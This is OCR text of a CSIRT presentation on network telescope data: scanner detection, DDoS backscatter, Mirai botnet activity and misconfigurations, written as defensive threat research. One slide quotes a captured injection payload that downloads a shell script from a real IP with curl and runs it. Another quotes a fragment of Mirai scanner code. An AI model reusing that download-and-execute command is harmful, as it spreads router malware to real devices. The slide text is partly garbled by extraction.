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https://www.circl.lu

e CIRCL is Luxembourg’s national CSIRT for the economy, designated under the NIS2
Directive.

e Core missions: incident handling, early warning, threat analysis, coordinated vulnerability
disclosure, coordinated response, and support to essential /important entities.

e Open source is central to our mandate: CIRCL develops and maintains 174 security
projects used worldwide by CSIRTs, ISACs, industries, intelligence community and
defenders.

e Key platforms: MISP, AIL, Vulnerability-Lookup, Flowlntel, LookyLoo, Cerebrate,
GCVE.eu.

e Open source ensures transparency, interoperability, sovereignty and long-term
sustainability for operational security.
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What is a network telescope

e A network telescope monitors a routable but unused IP address space

e |t is commonly used to study the traffic it receives;
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Specificity of our Telescope

e We collect packets from a /18 IPv4 range some other bunch of IP’s

Collection is done since 2014

This network was never used

No DNS records of any kind point to this network
e A new Pcap file of Around 120Mb every 5 min.

Any traffic observed here should be either noise either
unwanted traffic
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Obviously we received some packets

TCP destination ports heatmap (log scale)
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Specificity of this Telescope

Yearly

e 35 billions of IP packets

e 70.71 million of unique source IP
Specificity

e We own a network 1 Bit away from a RFC1918 private IP space.

e Instead of other telescope we have to deal with misconfigurations.

TLP:CLEAR 6/46



First, we need to process it !
s

Each day PCAP are processed and summarized into: Challenges:

o Packetfilter like log table Several summarizations tables

Use Suricata as packet

e IP information cache (AS/GEO/PTR) decoder/event detection
Integration in ClickHouse

e Port summarizations table

e DNS query table

e SNMP query table

e ICMP unreachable table
o Alert table

Decoding the decoded

Kiss, take full capture
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One Network Telescope possible usage, Scanner Detection

e Grouping Known Scanners by different rules;

e PTR / AS
e Extracted Queries
e Behavioral

Team Cymru DNS scanning activity
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Scanner Detection; Available as MISP Warninglists

Alphastrike-Research - Commercial

Bufferover - TLS scanner

Coalition Signals Intelligence - Commercial

Cybergreen - Security

Cyber Resilience - Commercial
Cypex - CTI

Driftnet - Commercial

F6 - Security (RU)

Internet Census - Commercial
Intrinsec - Security (FR)
Ipinfo - Commercial

Ipip - IP database

Leakix - Security

MISP Warninglists: github.com/MISP/misp-warninglists
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Modat - Scanner
Netsecscan - Unknown
Onyphe - Scanner (FR)
Probethenet - Unknown
Rapid7 - Commercial
Research-Scanner - Unknown
Shadowforce - Security
Shadowserver - Foundation
Shodan - Commercial
Skipa - Scanner

Stretchoid - Microsoft

. and more . ..
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https://github.com/MISP/misp-warninglists

So you are wondering...

Are commercial scanners realy scan
ALL the Internet?
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Shodan in our Network Telescope in 2025 (www.shodan.io)
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Modat in our Network Telescope in 2025 (magnify.modat.io)
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Who is the most exhaustive port scanner ? January - March 2026
Rapid 7 |

TCP 148 / UDP 22

Shadowserver

TCP 291 / UDP 56

Stretchoid

TCP 380 / UDP 64

TCP 3627 / UDP 42
shodtan I LA o

TCP 3793 / UDP 82

Modat L T O

TCP 10605 / UDP 6

Censys

TCP 65k / UDP 65k
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It’s not only about exhaustivivity, also regularity (Port < 1024)
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Other usage, detection of Exploit Trends

o CVE-2025-59287
e Windows WSUS port 8530 TCP
e NVD Published Date 14/10/2025

Packets per Day - Port 8530 - TCP
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Knowledge on SNMP Scanners. vl & v2 Community in plaintext
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SNMP Queries on specific devices

e Most Scanners usually scan for;

e 1.3.6.1.2.1.1.1.0 — sysDescr: full device description (model, OS, firmware).
1.3.6.1.2.1.1.2.0 — sysObjectID: vendor/device identifier OID.
1.3.6.1.2.1.1.3.0 — sysUpTime: time since last reboot.
1.3.6.1.2.1.1.4.0 — sysContact: administrative contact information.
1.3.6.1.2.1.1.5.0 — sysName: device hostname.
1.3.6.1.2.1.1.6.0 — sysLocation: physical location of the device.

1.3.6.1.2.1.1.7.0 — sysServices: network service layers supported by the device.
e Some are scanning for a specific device relate MIB 1.3.6.1.4.1.x
Cable television laboratories, inc

Canon, inc.|
China putian institute of technology

Cisco| | w 1 |
compaq | [[[I[ NIl [1I | FENEEE L
Dell computers | | \

Fortinet, inc ] | [ [ 1 ‘ | 1 11
Frogfoot networks |

Scanning campaigns per devices over the year
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SNMP Devices mapped to Community
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Threat Analysis :: DDoS Traffic Backscatter. . .

1) Tcp Syn
Dst: Vietim Raod
Sre: "Random” Guy
e Allows victims detection
e Only Partial traffic
Poor
Vietinm e Start / end time

Network No info on opponent

\ﬂ Telescope

2) TCP Syn-Ack
Dst: "Random”
Sre; Vietim
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Threat Analysis :: DDoS Traffic Backscatt

1) T¢P/UDP/...

Dst: Vietim Bad
Sre: "Random” Guy
2
I
R
Poor E
Vietim W
A Network
£ Telescope
N> °
-
2) ICMP type 3
Dst: "Random”
Sre; Vietim
Pay|oao|
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DDoS example with Apple IP ranges somewhere in march

https://github.com/MISP/misp-warninglists/blob/main/lists/apple/list. json

"description": "IP ranges assigned to Apple",
"list": [

"17.0.0.0/8",

"192.12.74.0/24",

"192.42.249.0/24",

"204.79.190.0/24"
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TCP Traffic from Apple, Displaying destination port
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TCP Traffic from Apple, Looking at the source port
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TCP Traffic to Apple, in fact...

Port 443 https | 32d / 233736 packets / 10219 Client IP

Port 5223 hpvirtgrp | 31d / 38751 packets / 3383 IP clients

Port 80 http | 31d / 5083 packets / 611 clients

Port 993 imaps | 31d / 3109 packets / 346 clients

We usually detect a daily average of 50 potential DDoS using this method.
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DDoS investigations on an european law
enforcement website
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DDoS investigation on an european Law Enforcement website - Day -16

Activity window #1 - TCP SYN packets
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DDoS investigation on an european Law Enforcement website - Day -9

Packets

Unigue dest_ip

Activity window #2 - TCP SYN packets
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DDoS investigation on an european Law Enforcement website - Day -3

Activity window #3 - TCP SYN packets
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DDoS investigation. Same day, a few minutes Later

Unigue dest_ip

Activity window #4 - TCP SYN packets

— src_port 80
—— src_port 443

Activity window #4 - Unique Spoofed SRC IPs

—— src_port 80
— src_port 443
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DDoS investigation on an european Law Enforcement website - D Day !!!

Activity window #5 - TCP SYN packets
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Botnets Injections
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Threat Analysis :: Botnet Injections, Remaining old trends

e CVE-2014-8361 — Realtek miniigd (UPnP — loT /routeurs)
e CVE-2017-17215 — Huawei HGb532 routers

e CVE-2019-12297 — D-Link routers

CVE-2021-35394 — Realtek SDK (routers / loT)

o CVE-2023-28771 — Zyxel (firewalls / VPN — IKE)

e CVE-2024-13030 — D-Link DIR-823G

TLP:CLEAR 32/46



Threat Analysis :: Some injector don’t care about TCP handshake

UT Source Protocol Length Source Port

]
]
]
]
]

PSH,

Frame 672631: 849 bytes on wire (6792 bits), 849 bytes captu ¢ qp PO

Ethernet II, Src: AristaNetwor_c6:33:eb (60:6b:5b:c6:33:eb), 0848 1/ HTTP/

Internet Protocol Version 4, Src: 180.243.15.112, Dst O ¢ t:

Transmission Control Protocol, Src Port: 48576, Dst Port: 80 9:80--Co
Source Port: 48576 €
Destination Port: 80 €
[Stream index: 427467] [Cl: 0APActio
[Conversation completeness: Incomplete (29)] [ //purene
[TCP Segment Len: 795] [ om/HNAP1
Sequence Number: 1 (relative sequence number) [
Sequence Number (raw): 1664039286
[Next Sequence Number: 797 (relative sequence number)
Acknowledgment Number: 1 (relative ack number) [
Acknowledgment number (raw): 2152639244 [ mp/Mozi.
0101 .... = Header Length: 2@ bytes (5) [ p/Mozi.m
Flags: 0x019 (FIN, PSH, ACK) [ nt-Lengt
Window: 29040 [ : ce ee<?xml
[Calculated window size: 29040] [ i 1.8" en
[window size scaling factor: -2 (no window scaling used)] [ i utf-8"?>
Checksum: 6x1918 [unverified] 0160 velope x
[Checksum Status: Unverified] [ :xsi ="http:/
Urgent Pointer: @ € .wW3. org/20e1
[Timestamps] [ /XMLSche ma-insta

[SEQ/ACK analysis] 01 nce" xml ns:xsd="
P load (795 bytes T http://w ww.w3.or
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Threat Analysis :: It’s allows clusterisation

h
ip-port: 218.93.15.230

[

file: 05d8027430471bd7771addcer].. ]

\ t
k\\ downioagad-from

vulnerability: CVE-2021-35394
Ir)\ng-m"ﬁhrai hea-Explait

file: 807787a0b175aecBef4babf41f]...]

B e-exphait

url: http-140.233.180.82firan [...]

url: hitp140.233.190.82/iran [...]

\ \ irying-to-obiaifi-the-=wqploit
- trying -to-Gotain:the-axploit

rel

=] N
ip-port: 140.233.190.82 vulnerability: b3ImOyBmb3lgeGIkI[.-.]
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https://misppriv.circl.lu

Threat Analysis :: Mirai & Family Botnet Scanning

e Analysis of one injection cluster;
o CVE-2021-35394
e Same payload Injected by 86 different IPs
o Affects UDPServer in Realtek Jungle SDK (Realtek based Routers)
e Inject using UDP port 9034
e First seen: 2025-10-17 06:10:11
o Last seen: 2026-04-07 23:38:41

orf;cd /tmpllcd /var&&curl -fsSL http://64.225.49.218/ohsitsvegawellrip.sh -o
hue.sh&&chmod +x hue.sh&&sh hue.sh;rm -rf hue.sh;##
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Threat Analysis :: Mirai & Family Botnet Scanning

CWMP / TR-069

HTTP Proxy

<9529

Synology Mail +

<37215

CVE-2017-17215

50050>
Cobalt Strike
team server

< 52869

CVE-2014-8361
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Threat Analysis :: Mirai & Family Botnet Scanning
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Threat Analysis :: Mirai still alive, and still use crafted TCP Sequence Number

tcph->dest = htons(23);

tcph->seq = iph->daddr;
tcph->ack_seq = 0;

tcph->doff = 5;

tcph->syn = TRUE;

tcph->window = rand next() & Oxffff;
tcph->check = 0;

Ref: https://github.com/jgamblin/mirai-source-code/blob/master/mirai/bot/scanner.c
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https://github.com/jgamblin/mirai-source-code/blob/master/mirai/bot/scanner.c

Threat Analysis :: Mirai still alive

e Syn Packets with Destination IP = TCP Sequence Number
e ~50K Bots scanning continuously

Top 50 Countries - Mirai Infected Hosts
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Misconfigurations
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Fun part :: Misconfiguration... Few examples

e Since November 2025
Firewall TOPSEC running NgtOS
Located in China

Send Syslogs...
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Fun part :: Misconfigurations... Dns Servers '"Houps’

SELECT DISTINCT
FROM

WHERE ( =
ORDER BY () ASC
LIMIT

e DNS Misconfiguration
How Many AD leaks ?
+7K Src IP last year.

If someone reply ?
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Network Telescope :: Conclusions

Looking at internet noise is interesting for many aspect;

e Detection of campaing.
e New threats interest.

e DDoS monitoring

e IOT wvulnerability

e Still many things to discover
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Network Telescope :: Conclusions

Call to volunteers,

e If you have unused IP ranges and will to share data, Contact Us !
e If you want to have access to the scans reports, Contact Us !
e If you want to access to the Mirai and other Inject reports, Contact Us !

e On info@cirl.lu, just Contact Us !
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CIRCL

Computer Incident
Response Center
Luxembourg

TLP:CLEAR 45/46



References

e A https://www.misp-project.org
e & https://www.misp-galaxy.org

e https://misp-project.org/objects.html
e https://misp-project.org/taxonomies.html

e ) nhttps://github.com/misp

46/46

TLP:CLEAR


https://www.misp-project.org
https://www.misp-galaxy.org
https://misp-project.org/objects.html
https://misp-project.org/taxonomies.html
https://github.com/misp

